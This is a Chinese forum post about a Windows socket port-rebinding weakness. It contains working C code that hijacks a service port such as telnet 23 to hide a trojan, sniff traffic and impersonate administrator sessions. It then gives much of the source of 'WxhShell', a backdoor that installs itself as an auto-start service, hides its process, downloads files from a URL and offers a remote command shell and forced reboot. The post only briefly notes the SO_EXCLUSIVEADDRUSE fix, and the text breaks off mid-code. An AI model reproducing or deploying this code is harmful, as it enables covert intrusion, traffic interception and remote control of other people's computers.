社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14707阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZyR_6n>L$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6AN)vs}  
yB LUNIr  
  saddr.sin_family = AF_INET; }<MR`h1  
xx*2?i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &X`u9 V  
5j"1z1_&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6@tvRDeaDW  
Ni*Wz*o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IfDx@?OB  
4c~>ci,N?(  
  这意味着什么?意味着可以进行如下的攻击: PiLJZBUv  
Uz%Z&K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J NC  
n,P5o_^:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iy\KzoB  
:9l51oE7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \g-j9|0  
,`td@Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LF*Q!  
Oajv^H,Em  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %Hi~aRz  
Bb Jkdt7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v| z08\a[  
^T4Ay=~{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2 Tvvq(?T  
Jf:,y~mV  
  #include +rNkN:/L  
  #include H L<s@kEZ  
  #include tn/T6C^)  
  #include    Z\>, ),O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cJn HW  
  int main() 0)uYizJce  
  { }xn_6  
  WORD wVersionRequested; }bB` (B,m  
  DWORD ret; h3u1K>R)  
  WSADATA wsaData; =Pe><k  
  BOOL val; ED![^=  
  SOCKADDR_IN saddr; ,:v&4x&=  
  SOCKADDR_IN scaddr; OQlG+|  
  int err; ~@I@}n  
  SOCKET s; p4X{"Z\mn  
  SOCKET sc; NB8&   
  int caddsize; ul5|.C  
  HANDLE mt; !)NidG  
  DWORD tid;   ]Ql 0v"` F  
  wVersionRequested = MAKEWORD( 2, 2 ); us)*2`?6t  
  err = WSAStartup( wVersionRequested, &wsaData ); H5wb_yBQ+  
  if ( err != 0 ) { H!IDV }dn  
  printf("error!WSAStartup failed!\n"); i4Z4xTn  
  return -1; >tRHNB_  
  } i 6no;}j  
  saddr.sin_family = AF_INET; d-!<C7O}  
   ]]iO- }  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v:ER 4  
96|[}:+$&:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >cOei K  
  saddr.sin_port = htons(23); 2%rLoL$Y2+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j033%p+Xc  
  { p{;i& HNdp  
  printf("error!socket failed!\n"); <"&'>?8j  
  return -1; t Y1Et0  
  } oJ;rc{n-  
  val = TRUE; 0.(<'!"y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 whc[@Tyx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x%BF {Sw  
  { T|'&K:[TJ  
  printf("error!setsockopt failed!\n"); l\q} |o  
  return -1; (wt+`_6  
  } k{Lv37H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *:_~Nn9_R;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W=-|`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OHp5z? z  
R"6;NPeo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v"1Po_`  
  { =fG:A(v%}  
  ret=GetLastError(); zQuM !.  
  printf("error!bind failed!\n"); 2:v<qX  
  return -1; 4L:>4X[T  
  } Sgj/s~j~1  
  listen(s,2); 6* rcR]  
  while(1) )&1!xF   
  { RR25Q. c  
  caddsize = sizeof(scaddr); r4k nN 2:  
  //接受连接请求 f{Qp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p!"(s/=  
  if(sc!=INVALID_SOCKET) Q</h-skLZ  
  { E8[XG2ye  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +g\;bLT  
  if(mt==NULL) juno.$ 6  
  { 3o8\/-*<  
  printf("Thread Creat Failed!\n"); CvTwBJy1  
  break; `^8*<+  
  } Rl@$xP  
  } -z C]^Ho@  
  CloseHandle(mt); +l\<?  
  } T1~)^qQ  
  closesocket(s); eK_*q -  
  WSACleanup(); >A jCl  
  return 0; !EFBI+?&  
  }   TgaYt\"i[  
  DWORD WINAPI ClientThread(LPVOID lpParam) <f%/px%1  
  { 9Q[>.):  
  SOCKET ss = (SOCKET)lpParam; -0|K,k  
  SOCKET sc; xdF guV8  
  unsigned char buf[4096]; |`]oc,1h@  
  SOCKADDR_IN saddr; O~'FR[J  
  long num; {\We72!  
  DWORD val; _X%Dw  
  DWORD ret; yq*JdTF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cf*zejbw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \|q-+4]@,  
  saddr.sin_family = AF_INET; ,YlQK;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8R/ *6S=&  
  saddr.sin_port = htons(23); 7*'@qjTos  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ( pD7  
  { vgk9b!Xd  
  printf("error!socket failed!\n"); 8eX8IR!K9  
  return -1; d.\PS9l  
  } `p|[rS>  
  val = 100; T|+$@o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5faj;I{%JY  
  { ZLJNw0!=|t  
  ret = GetLastError(); pG28M]\  
  return -1; JK^[{1 JI  
  } hWxT!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 84Zgo=P}  
  { ~07RFR  
  ret = GetLastError(); NhDA7z`b'J  
  return -1; 4K,''7N3  
  } [$:@X V(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qy9i9$8  
  { QNJ\!+,HV  
  printf("error!socket connect failed!\n"); tR O IBq|  
  closesocket(sc); CKC0{J8g  
  closesocket(ss); JN^bo(kb  
  return -1; k/^g*  
  } j |td,82.  
  while(1) 5B|,S1b  
  { \3j)>u,r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3U o]> BG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZY Kd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (6-y+ LG  
  num = recv(ss,buf,4096,0); Lh!z>IWjOG  
  if(num>0) 5mIXyg 0:  
  send(sc,buf,num,0); sY^lQN  
  else if(num==0) vzy!3Hiw  
  break; <(uTst  
  num = recv(sc,buf,4096,0); 'a_s%{BJXg  
  if(num>0) ,RN|d0dE  
  send(ss,buf,num,0); ^H'kHl'F  
  else if(num==0) Mi D  
  break; u*k*yWdr  
  } =LqL@5Xr  
  closesocket(ss); `oPLl0  
  closesocket(sc); aH^{Vv$]M@  
  return 0 ; [a+4gy  
  } ^Fvr f`A'  
w .l|G,%=  
}{=8&gA0  
========================================================== /&QQ p3  
WVkG 2  
下边附上一个代码,,WXhSHELL oek #^:pF  
"uS7PplyO  
========================================================== EqQ3=XMUL@  
3.~h6r5-  
#include "stdafx.h" 9 P~d:'Ib  
?&\h;11T  
#include <stdio.h> U%,;N\:_  
#include <string.h> #'iPDRYy  
#include <windows.h>  Q>[Ce3  
#include <winsock2.h> X\'E4  
#include <winsvc.h> 4L11P  
#include <urlmon.h> iP,v=pS6  
D{W SKn  
#pragma comment (lib, "Ws2_32.lib") /Mx.:.A&$  
#pragma comment (lib, "urlmon.lib") @Q3, bj  
1W0.Ufl)  
#define MAX_USER   100 // 最大客户端连接数 sSy$(%  
#define BUF_SOCK   200 // sock buffer >\&= [C  
#define KEY_BUFF   255 // 输入 buffer V0S6M^\DK  
#AvEH=:  
#define REBOOT     0   // 重启 %A=|'6)k2  
#define SHUTDOWN   1   // 关机 K+-zY[3  
F'ENq6  
#define DEF_PORT   5000 // 监听端口 &|NZ8:*+#  
c+wuC,  
#define REG_LEN     16   // 注册表键长度 WN1Jm:5YV  
#define SVC_LEN     80   // NT服务名长度 ]'6'<S  
K7S754m  
// 从dll定义API O&52o]k5l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i.F8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]qMH=>pOsj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qz87iJp&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $)l2G;&  
Pm;I3r=R\  
// wxhshell配置信息 L1rA T  
struct WSCFG { Pwg/Vhfh  
  int ws_port;         // 监听端口 :+<t2^)rD  
  char ws_passstr[REG_LEN]; // 口令 "B~WcC  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Ws#UL+Nq  
  char ws_regname[REG_LEN]; // 注册表键名 4*H(sq  
  char ws_svcname[REG_LEN]; // 服务名 zF=#6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +*: }p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S;>4i!Mb ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mc!2mE%47m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ),M U+*`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9n-T5WP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q|Nzbmwh  
4p?+LdL  
}; 8V,"Id][  
7t`E@dm  
// default Wxhshell configuration :|zp8|  
struct WSCFG wscfg={DEF_PORT, |$Qp0vOA}  
    "xuhuanlingzhe", Kyu@>9Ok  
    1, ,cPkx~w0  
    "Wxhshell", 9}.,2JE  
    "Wxhshell", U{HyxZ|q<  
            "WxhShell Service", WI0QLR'  
    "Wrsky Windows CmdShell Service", *&h6*zP?  
    "Please Input Your Password: ", nrI"k2oA@  
  1, $]nVr(OZ_  
  "http://www.wrsky.com/wxhshell.exe", >eEnQ}Y  
  "Wxhshell.exe" kHGeCJe\{  
    }; 3>H2xh3Y  
+jv }\Jt  
// 消息定义模块 =obt"K%n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PIgGXNo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'w'Dwqhmr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,eyp$^2  
char *msg_ws_ext="\n\rExit."; V/@[%w=  
char *msg_ws_end="\n\rQuit."; fYb KmB  
char *msg_ws_boot="\n\rReboot..."; >).@Nb;e  
char *msg_ws_poff="\n\rShutdown..."; $^] 9  
char *msg_ws_down="\n\rSave to "; VtD@&N  
tN[St  
char *msg_ws_err="\n\rErr!"; K<RmaXZ  
char *msg_ws_ok="\n\rOK!"; 0BT;"B1  
Nz3zsP$  
char ExeFile[MAX_PATH]; sWp{Y.  
int nUser = 0; M\9at\$  
HANDLE handles[MAX_USER]; l#tS.+B7  
int OsIsNt; ?OdV1xB  
UB5}i('L  
SERVICE_STATUS       serviceStatus; 1d=0q?nH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RA#\x.  
{bW"~_6}  
// 函数声明 L-`(!j  
int Install(void); Q -M rH   
int Uninstall(void); qw9e) `3$  
int DownloadFile(char *sURL, SOCKET wsh); 9)ACgz&(  
int Boot(int flag); v!nm &"  
void HideProc(void); N-]\oMc2  
int GetOsVer(void); Bjurmo  
int Wxhshell(SOCKET wsl); X@i+&Nv"<  
void TalkWithClient(void *cs); -[G/2F'  
int CmdShell(SOCKET sock); [[#xES21F  
int StartFromService(void); T_3V/)%@  
int StartWxhshell(LPSTR lpCmdLine); }P05eI  
5wT' ,U"+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l0eANB%Y=@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *U( 1iv0n  
j7QBU  
// 数据结构和表定义 ;%v%K+}r  
SERVICE_TABLE_ENTRY DispatchTable[] = xAR^  
{ m]bL)]Z  
{wscfg.ws_svcname, NTServiceMain}, eUX@9eML  
{NULL, NULL} C}x4#bNK  
}; Kh>?!` lL  
0*37D 5jH  
// 自我安装 VC/R)%@%  
int Install(void) hdo+Qezu:  
{ QBg}2.  
  char svExeFile[MAX_PATH]; -fb1cv~N  
  HKEY key; HR/k{"8W4Q  
  strcpy(svExeFile,ExeFile); L#@l(8.  
6lB{Ao?|  
// 如果是win9x系统,修改注册表设为自启动 {KF7j63  
if(!OsIsNt) { nL 1IS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .t"n]X i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >l7eoj  
  RegCloseKey(key); SIKk|I)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i n[n A a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gubb .EY  
  RegCloseKey(key); =YS!soO  
  return 0; ]hCWe0F  
    } 9nP*N`  
  } daaga}]d  
} U)&H.^@r$  
else { $M:4\E5(  
[V!^\g\6  
// 如果是NT以上系统,安装为系统服务 HV]~=Bw2I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u i s:\Uc  
if (schSCManager!=0) T=hm#]   
{ 7H8GkuO  
  SC_HANDLE schService = CreateService 44Seq  
  ( Y!K^-Y}  
  schSCManager, 9+WY@du+  
  wscfg.ws_svcname, *Y| lO  
  wscfg.ws_svcdisp, Bbn832iMUY  
  SERVICE_ALL_ACCESS, #o(?g-3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N[|by}@n  
  SERVICE_AUTO_START, h$#4ebp  
  SERVICE_ERROR_NORMAL, *#X+Gngo  
  svExeFile, I v 80,hW  
  NULL, z|t.y.JX  
  NULL, lW{I`r\]  
  NULL, *so6]+)cU  
  NULL, ,*9#c*'S  
  NULL =RCfibT!C  
  ); ; /6:lL  
  if (schService!=0) *~\;&G29Y  
  { @LwVmR |{  
  CloseServiceHandle(schService); b;&Yw-\nZ;  
  CloseServiceHandle(schSCManager); `Gy>tD.#V-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XnNOj>!  
  strcat(svExeFile,wscfg.ws_svcname); 7LyV`6{70  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cOj +}Hz58  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qiwQUm{  
  RegCloseKey(key); $G^H7|PzdC  
  return 0; BP7<^`i&  
    } yKX:Z4I/  
  } \kua9bK  
  CloseServiceHandle(schSCManager); $S"zxEJJ Y  
} %j 9vX$Hj  
} W#oEF/G  
bUipp\[aV  
return 1; HbJadOK  
} ;&7qw69k  
.{-iq(3  
// 自我卸载 +#i,87  
int Uninstall(void)  JsAb q  
{ YQfZiz}Fv  
  HKEY key; g*"J10hyP  
y$;zTH_6j  
if(!OsIsNt) { 3V8j>&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7+A-7ci  
  RegDeleteValue(key,wscfg.ws_regname); _S%OX_UMn^  
  RegCloseKey(key); \k$]GK-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  K2vPj|  
  RegDeleteValue(key,wscfg.ws_regname); !'6J;Fb#  
  RegCloseKey(key); t&p:vXF2  
  return 0; l1`c?Y  
  } JY;#]'T\;  
} 6832N3=  
} u:{. Hn`  
else {   t`&s  
unbcz{&Hb[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ay[9k=q]  
if (schSCManager!=0) [\ w>{  
{ `siy!R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $)i"[  
  if (schService!=0) :#"OCXr  
  { U 8 .0L  
  if(DeleteService(schService)!=0) { e-T9HM&%P  
  CloseServiceHandle(schService); * (XgUJ q+  
  CloseServiceHandle(schSCManager); c+\Gd}IJq  
  return 0; QKL]O*  
  } QtO[g  
  CloseServiceHandle(schService); = -a?oH-  
  } y+~Aw"J}  
  CloseServiceHandle(schSCManager); .,iw2:  
} l*V72!Mv  
} aV92.Z_Ku  
PHB\)/  
return 1; *< SU_dAh  
} N]<~NG:6b  
F0o18k_"  
// 从指定url下载文件 Ov{B-zCA  
int DownloadFile(char *sURL, SOCKET wsh) `b,g2XA  
{ G@l|u  
  HRESULT hr; vr]dRStr  
char seps[]= "/"; 5"Xo R)  
char *token; rqG6Ll`=+  
char *file; EzY scX.[  
char myURL[MAX_PATH]; fh5^Gd~  
char myFILE[MAX_PATH]; s*A|9u f5  
jak|LOp  
strcpy(myURL,sURL); 'rcsK  
  token=strtok(myURL,seps); | Y,X=Ed  
  while(token!=NULL) XQ?)  
  { W1M/Z[h6)5  
    file=token; 4QN6BZJ5  
  token=strtok(NULL,seps); nh_xbo5L[  
  } O'?lW~CD.>  
M3xi 0/.  
GetCurrentDirectory(MAX_PATH,myFILE); 8i+jFSZ$  
strcat(myFILE, "\\"); C^ k3*N  
strcat(myFILE, file); v(WL 3[y;  
  send(wsh,myFILE,strlen(myFILE),0); # xE>]U  
send(wsh,"...",3,0); s9)8{z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hrtN.4p[  
  if(hr==S_OK) I[YfF  
return 0; e[Ul"pMvS`  
else l=.InSuLT  
return 1; DyV[+P  
,jdKcWy'  
} bgx5{!A  
_M[[o5{  
// 系统电源模块 1,sO =p)Yg  
int Boot(int flag) _KlPbyLU  
{ )Z`viT  
  HANDLE hToken; .~/;v~bL  
  TOKEN_PRIVILEGES tkp; ]&%X(jWyn  
pz z`4VS:  
  if(OsIsNt) {  6-E4)0\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sRI=TE]s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4?6'~G$k  
    tkp.PrivilegeCount = 1; \}_7^)S;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L``mF(R^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m+JGe5fR<  
if(flag==REBOOT) { :y)&kJpleP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tLGwF3e$A  
  return 0; 7 5cr!+  
} vmQ DcCw  
else { &qj&WfrB,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]4pC\0c  
  return 0; Y K62#;  
} kKTED1MW&W  
  } ;?[+vf")  
  else { ^*T{-U'  
if(flag==REBOOT) { B=qRZA!DQ?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AF nl t  
  return 0; REe%>|   
} @ F"ShT0  
else { (%^TTe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z j0pP{y  
  return 0; ?>Ci`XlLr  
} w2_I/s6B  
} >5Rw~  
3R96;d;  
return 1; dXSb%ho  
} 2T?1X{g  
Vam8NnZ|r  
// win9x进程隐藏模块 ErUk>V  
void HideProc(void) .*..pf|/  
{ ?J1&,'&  
>WG91b<Xq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dJgOfg^  
  if ( hKernel != NULL ) GAe_Z( T  
  { 4zvU"np  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F;l<>|vG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9n2%7dLQ*  
    FreeLibrary(hKernel); %.  }  
  } Z)>a6s$ih<  
q+=@kXs>+  
return; [ Sa C  
} 5s2}nIe  
M;@03 x W  
// 获取操作系统版本 yH0ZSv  
int GetOsVer(void) 'g, x}6  
{ P=hf/jOv9  
  OSVERSIONINFO winfo; gf8U &;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P bC>v  
  GetVersionEx(&winfo); }Z%{QJ$z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YV+dUvz  
  return 1; s%re>)=|  
  else *" +cP!  
  return 0; T_ #oMXZ/  
} ."g5+xX  
faeyk]u  
// 客户端句柄模块 8&iI+\lCy  
int Wxhshell(SOCKET wsl) ))-M+CA  
{ &^<T/PiR  
  SOCKET wsh; \{^yB4F_Z  
  struct sockaddr_in client; }tgn1xpx  
  DWORD myID; `RLrT3 4  
B$eF@v"  
  while(nUser<MAX_USER) Al;oI3  
{ G~j<I/)"  
  int nSize=sizeof(client); omU)hFvyS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6>^k9cJp  
  if(wsh==INVALID_SOCKET) return 1; m.X+sP-e  
jtJ8r5j 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `Y$5g~3.  
if(handles[nUser]==0) $6+P&"8  
  closesocket(wsh); -s84/E4Y*  
else / 1@m#ZxA:  
  nUser++; mh SsOmJ5  
  } vWga>IGM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LU=)\U@Q  
f*@:{2I.v  
  return 0; 9E*K44L/V  
} <W{0@?y  
"+Yn;9  
// 关闭 socket YR`rg;n#  
void CloseIt(SOCKET wsh) F#R\Ot,hv  
{  K8we*  
closesocket(wsh); Z9EQ|WfS#-  
nUser--; _ o3}Ly}  
ExitThread(0); c.> (/  
} fXQRsL8 ]  
q/G5aO*  
// 客户端请求句柄 CzbNG^+  
void TalkWithClient(void *cs) +u)$o  
{ T`G"2|ISS  
L-TVe  
  SOCKET wsh=(SOCKET)cs; 'Z9F0l"Nr  
  char pwd[SVC_LEN]; Y3&ecEE  
  char cmd[KEY_BUFF]; F'Vl\qPt  
char chr[1]; >gl<$LQ?X  
int i,j; t9l7 % +y  
VAzJclB  
  while (nUser < MAX_USER) { u{ d`  
(pg9cM]NA  
if(wscfg.ws_passstr) { =l9#/G#R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CT`X~y10  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 32/P(-  
  //ZeroMemory(pwd,KEY_BUFF); 1#u w^{n  
      i=0; ^!tI+F{n{  
  while(i<SVC_LEN) { xz'd5 re%  
<5^(l$IBj  
  // 设置超时 !d )i6W?  
  fd_set FdRead; VG7#6)sQoK  
  struct timeval TimeOut; q,Q|Uvpk  
  FD_ZERO(&FdRead); h}_q  
  FD_SET(wsh,&FdRead); {<n)zLy  
  TimeOut.tv_sec=8; N/=3Bs0y-  
  TimeOut.tv_usec=0; 1r4/McB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tYa*%|!v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I-hhHm<@  
H|O}Dsj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3S?+G)qKo  
  pwd=chr[0]; hdb4E|'A  
  if(chr[0]==0xd || chr[0]==0xa) { ?^Ux+mVE  
  pwd=0; U0T N8O}Z  
  break; R:p,Hav<q  
  } g{(nt5|^l  
  i++; >4b39/BM  
    } z5/O8}Gz@  
</p.OaNe  
  // 如果是非法用户,关闭 socket \]El%j4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CB1u_E_  
} &o.SmkJI  
z w9r0bG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m8'1@1d|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JH#?}L/0Fe  
!}7m^  
while(1) { lY`<-`{I_  
j+/*NM_y3  
  ZeroMemory(cmd,KEY_BUFF); b<7f:drVC  
]42 l:at  
      // 自动支持客户端 telnet标准   +3CMfYsr8  
  j=0; 7 >(ygu  
  while(j<KEY_BUFF) { $Plk4 o*g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tkf !Y?  
  cmd[j]=chr[0]; hrF4 a$  
  if(chr[0]==0xa || chr[0]==0xd) { _{%H*PxTn=  
  cmd[j]=0; ,,gYU_V  
  break; !C?z$5g  
  } x ,W+:l9~s  
  j++; dPId= w)  
    } R2@u[  
,~#hHhR_  
  // 下载文件 {{\HU0g>&  
  if(strstr(cmd,"http://")) { u!W00;`L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3OlY Ml  
  if(DownloadFile(cmd,wsh)) AbB>ZT>hR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @T"385>  
  else "?SnA +)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %<t/xAge  
  } \ :.p8`  
  else { f`e.c_n(  
g:yK/1@Hk}  
    switch(cmd[0]) { 9 pn1d.  
  It[~0?+  
  // 帮助 FBsw\P5w  
  case '?': { `u-Y 5mY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &7LfNN`  
    break; 0ZN/-2c A#  
  } mf#oa~_  
  // 安装 WyP1"e^ 9  
  case 'i': { ZUycJ-[  
    if(Install()) [aC(Ga}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }- Sr@bE  
    else {;U:0BPI3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U' Cp3>  
    break; 4~4Hst#^  
    } F<[8!^l(z  
  // 卸载 n^K]R}S  
  case 'r': { %~~QXH\  
    if(Uninstall()) .@'Vz;&mQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\yO/9{h1  
    else rGs> {-T3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7+"X ^$  
    break; U N/.T   
    } U!4 ^;  
  // 显示 wxhshell 所在路径 /_P`xm+=AC  
  case 'p': { Tb^9J7]  
    char svExeFile[MAX_PATH]; \]K-<&f  
    strcpy(svExeFile,"\n\r"); Zh@\+1]  
      strcat(svExeFile,ExeFile); f+ &yc'[  
        send(wsh,svExeFile,strlen(svExeFile),0); 0W)_5f&  
    break; n !QjptQ  
    } N@}U;x}  
  // 重启 >:=TS"}yS}  
  case 'b': { H\T h4teE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `8I&(k<wLe  
    if(Boot(REBOOT)) @OpcS>:R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; OsN^   
    else { Hi Yx(hY  
